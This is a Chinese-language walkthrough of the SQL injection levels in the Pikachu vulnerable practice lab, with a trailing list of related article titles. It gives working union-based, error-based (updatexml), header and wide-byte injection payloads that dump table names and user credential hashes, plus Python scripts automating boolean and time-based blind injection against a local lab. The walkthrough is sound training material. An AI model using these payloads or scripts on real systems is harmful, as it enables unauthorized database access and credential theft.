Pikachu靶场—SQL注入篇

  • 前言
  • 一、数字型注入
  • 二、字符型注入
  • 三、搜索型注入
  • 四、XX型注入
  • 五、insert注入
  • 六、delete注入
  • 七、http header注入
  • 八、盲注:基于布尔盲注
  • 九、布尔盲注:基于时间
  • 十、宽字节注入
  • 总结

前言

创作不易,给个关注吧,有任何问题可以评论或者私聊

一、数字型注入

关卡详情

根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求

因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测到3的时候就开始报错,所以列数是两列

探测出来列数后,直接再使用 union select 联合查询,爆出数据库名,这里爆出了数据库名就是pikachu

有了数据库名后,直接爆表名

id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2


最后再爆出字段里的数据

id=2 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2


发现密码是md5加密的,直接解密一波就可以了,pikachu的秘密解密后是:000000

二、字符型注入

这一关只有一个输入框,直接给了一个单引号会报错,并且上面的url会发现变化,直接得到一个url地址

根据题目是字符型的注入,所以直接给个万能公式 x’ or 1=1 limit 1进行试探,得到一些uid和信息,说明是存在注入漏洞

然后直接使用order by探测列数,这里也是到3 就会报错,所以还是两列

拿到列数后,使用union 链表查询到数据库名后,剩下的步骤和上面是一样的,将查询语句,放在x‘ 的后面,#号的前面即可

三、搜索型注入

按照和上面的方式一样,老办法,先探测是什么注入方式,首先给个 ’ 号闭合,得到一个url路径,最后使用 x‘ 发现有报错信息

发现报错信息里有一个%号,所以加上一个%号之后再进行闭合,发现错误消失了

继续再使用order by进行查询列数,这次探测到第四列才报错,说明这一关的列数有3列

然后再使用联表查询到数据库名依然是pikachu

知道数据库名后,直接查询表名

group_concat(table_name),2,3 from information_schema.tables where table_schema=database()


爆列
爆内容

x%' union select username,password,level from users#


依然是md5加密的,可以直接通过网站进行解密即可

四、XX型注入

按照之前的流程,先尝试给了一个 ’ 号进行试探,看看是什么类型的注入,得到一个带 ) 的报错信息,猜测可能还是字符型输入

然后尝试各种方式探测,最终发现 x’) %23 不会报错,说明这样闭合没有问题
然后继续 order by 找列数,这次到 3 就报错,所以确认是有两列

爆库名,发现还是pichachu

爆表名,使用之前的语句发现会报错,可能是因为union的两个SQL语句产生的记录的表结构不一致

尝试换个方法,能够直接查询出来,采用了distinct 去重

x') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23


爆列,使用之前的语句时,也会显示users无法识别

于是换了一种编码格式,url和base64都报错,十六进制可以使用,所以转成16进制

爆内容,MD5加密,直接解密即可

x') union select username,password from users%23&submit=查询

五、insert注入

从注册入手,先使用工具抓包看看,看是否是post请求,感觉是post请求,除了按钮之外,还有6个参数

先尝试将必填的参数写在username里面,将后面的注释,前面的形成闭合,但是发现报错,显示列数不对

重新整理下,将参数全部塞进去,显示注册成功,后面的被注释掉了,说明 ‘ 号是闭合

但是发现没有任何报错信息回显,可能隐藏了,这里尝试使用报错注入看看是否可以,发现最后显示出来了数据库

username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit


爆表

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit


爆列(修改substr的参数可以全部爆出来)

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit


爆内容

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

六、delete注入

点进去发现是个留言板,可以增加留言可以删除留言,之后就没有什么特别的提示了,所以尝试抓包看下,最后发现是get请求

随便给一个id=1,发现会报错,给order by探测列数,发现都会报错,尝试使用报错注入 ,发现这个可以成功爆出数据库名

?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)


发现报错注入有用的话,剩下的都是老套路,爆表

剩下的和上面的关卡是一样的,爆列名

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)


爆内容

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

七、http header注入


根据标题可以看到是根据http头部进行注入,先尝试使用admin正常登录看看,跳出了一个信息被记录的提示,并且登录进去之后有回显http request报文头

下面抓包看一下,按照之前sql-labs的经验,尝试在user-agent中进行注入

尝试在user-agent中加入报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

直接拿到了数据库名

八、盲注:基于布尔盲注


先找闭合,老样子先直接给个单引号和双引号进行探测,最后返回的都是用户名不存在,但是在后面加个 # 号就能返回正常结果,所以基本确认闭合是单引号闭合,下面就是爆数据库名,手工盲注太慢了,写个python脚本直接跑

import requestsurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"  # url地址
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", }  # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)]  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  # 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段def showdatabase():n = 20  # 猜测的最大长度k = 0j = n // 2length = 0db = str()while True:if j > k and j < n and j - k > 3:payload1 = "lili' and length(database())>" + str(j) + "-- ss"param = {"name": payload1,"submit": "查询",}response = requests.get(url, params=param, headers=headers)if response.text.find(flag) != -1:n = nk = jelse:k = kn = jj = (n - k) // 2elif j - k == 3 or j - k < 3:for i in range(k - 1, n + 2):payload2 = "lili' and length(database())=" + str(i) + "-- ss"param = {"name": payload2,"submit": "查询",}response = requests.get(url, params=param, headers=headers)if response.text.find(flag) != -1:length = ibreakbreakelse:breakprint("数据库名长度为:" + str(length) )for i in range(1, length + 1):for c in keylist:payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"param = {"name": payload3,"submit": "查询",}response = requests.get(url, params=param, headers=headers)if response.text.find(flag) != -1:db = db + cbreakprint("数据库名是:"+str(db))showdatabase()

效果图

九、布尔盲注:基于时间


不挣扎了,直接上脚本,多说无益

def databaseTime():n = 20k = 0j = n // 2length = 0db = str()while True:if j > k and j < n and j - k > 3:payload1 = "lili' and  if(length(database())>" + str(j) + ",sleep(3),1)-- ss"  param = {"name": payload1,"submit": "查询",}try:response = requests.get(url, params=param, headers=headers,timeout=2)k = kn = jexcept:n = nk = jj = (n - k) // 2elif j - k == 3 or j - k < 3:for i in range(k - 1, n + 2):payload2 = "lili' and  if(length(database())=" + str(i) + ",sleep(3),1)-- ss"param = {"name": payload2,"submit": "查询",}try:response = requests.get(url, params=param, headers=headers, timeout=2)except:length = ibreakbreakelse:breakprint("数据库的长度为:" + str(length))for i in range(1, length + 1):for c in keylist:payload3 = "lili' and if(substring(database()," + str(i) + ",1)='" + c + "',sleep(3),1)-- ss"param = {"name": payload3,"submit": "查询",}try:response = requests.get(url, params=param, headers=headers, timeout=2)except:db = db + cbreakprint("数据库名为:" + str(db))databaseTime()

效果图:

十、宽字节注入


这关提醒是宽字节注入,通过抓包分析,发现这一关是一个post请求,所以尝试直接使用宽字节登录看看,提示用户不存在

说明数据库是收到了数据,但是没有查询到,继续加一个 or 1=1 进行探测,发现是显示了正常的结果

再次输入 1=2时,就回显示username不存在

从这里就可以看出,这关本质上还是布尔盲注,只是单引号被转义了,所以直接修改前面的脚本代码,直接跑

import requestsurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85","Content-Type": "application/x-www-form-urlencoded"  # 需添加此行,不然requests模块自动进行url编码
}  keylist = range(33, 127)  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  def databaseWide():n = 10  k = 0j = n // 2length = 0db = str()while True:if j > k and j < n and j - k > 3:payload1 = "name=lili%df' or length(database())>" + str(j) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"  response = requests.post(url, data=payload1, headers=headers)  ## print(response.request.headers)# print(response.request.body)if response.text.find(flag) != -1:n = nk = jelse:k = kn = jj = (n - k) // 2elif j - k == 3 or j - k < 3:for i in range(k - 1, n + 2):payload2 = "name=lili%df' or length(database())=" + str(i) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"param = {"name": payload2,"submit": "查询",}response = requests.post(url, data=payload2, headers=headers)if response.text.find(flag) != -1:length = ibreakbreakelse:breakprint("数据库的长度是:" + str(length))for i in range(1, length + 1):for c in keylist:payload3 = "name=lili%df' or ascii(substring(database()," + str(i) + ",1))=" + str(c) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"response = requests.post(url, data=payload3, headers=headers)if response.text.find(flag) != -1:db = db + chr(c)breakprint("数据库名字是:" + str(db))databaseWide()

效果图

总结

没有总结

Pikachu靶场—sql注入通关相关推荐

  1. Pikachu靶场-SQL注入-搜索型注入过关步骤

    Pikachu靶场-SQL注入-搜索型注入过关步骤 首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了 判断注入点 ...

  2. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  3. Pikachu靶场-SQL Inject

    Pikachu靶场-SQL Inject SQL Inject 漏洞原理概述 SQL Inject攻击流程 如何判断是否存在注入 如何判断注入点类型及常见注入类型 数字型 字符型 搜索型 XX型 SQ ...

  4. 2021-1-31 pikachu之sql注入

    pikachu之sql注入(初级) 文章目录 pikachu之sql注入(初级) 地位 产生原因 攻击流程 注入点类型 分类 1.数字型注入(post) 2.字符型注入(get) 3.搜索型注入 4. ...

  5. pikachu平台SQL注入

    pikachu平台SQL注入 日常心累.速通pikachu注入相关 目录 pikachu平台SQL注入 使用到的名词解释 1. 数字型注入 --使用bp处理数据包 2. 字符型注入 --hackbar ...

  6. Pikachu靶场全级别通关教程详解

    pikach通关 暴力破解 Cross-Site Scripting XSS(跨站脚本)概述 跨站脚本漏洞类型及测试流程 跨站脚本漏洞常见类型 XSS漏洞形成的原因: 跨站脚本漏洞测试流程 tips ...

  7. PentesterLab靶场sql注入流程

    环境安装 随便在网上找了个Pentester的靶场,结果是2013年的,那就从2013年的这个靶场开始学习 下载镜像的地址: https://pentesterlab.com/exercises/we ...

  8. pikachu之sql注入

    ** 1原理 ** SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行 ...

  9. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

最新文章

  1. OFFICE——Word与Excel交互处理——邮件合并
  2. 自定义 Git - Git 钩子 (自动部署)
  3. 学计算机激励标语口号,激励学习的口号
  4. 避免门事件 巧妙清除搜狗浏览器记录
  5. Process Explorer 进程管理及排错利器(上)
  6. 关于Python编码这一篇文章就够了
  7. [Other] Inno Setup 使用心德-一个完整的项目 包括.NET组建捆绑 去空格等
  8. OpenGL中的glutInitDisplayMode()函数的理解
  9. 8086微型计算机原理答案,8086微型计算机原理与应用(吴宁)习题参考答案(第一章)...
  10. android小米手机变慢,小米手机出现变慢卡顿现象怎么办 教你如何让小米手机跑的更快的方法...
  11. 2018中国双态运维用户大会于1月13日在京举行
  12. 为何软件需要数字签名
  13. 通过bitmap改变图片的大小
  14. python控制机器人走8字_爱,死亡和机器人 第十四集 齐马蓝 中文字幕(Python处理utf8文件获取想要的内容)...
  15. 关于罗德里格斯公式(Rodrigues‘sFormula)的详细推导过程
  16. Okhttp 接入HttpDNS(支持http/https,)达到IP直连
  17. Dubbo解析及原理浅析
  18. p16panda合并concat
  19. android bilibili弹幕技术解析,bilibili弹幕爬取与比对分析
  20. 辽宁科技大学计算机应用技术研究生,2020年辽宁科技大学计算机应用技术考研经验分享...

热门文章

  1. 判定操作系统x64还是x32方法
  2. 下载win7/win8/win10镜像
  3. QT_stray ‘\343‘ in program
  4. 2023最新imazing怎么修改iOS碧蓝航线
  5. 2021 ICCV : Instance-level Image Retrieval using Reranking Transformers
  6. queryset问题
  7. MATLAB:Meshgrid用法
  8. 使用nslookup查看SSL安全证书域名验证信息
  9. (转)当前中国互联网发展太快是否存在泡沫
  10. 土地利用对生态系统结构的影响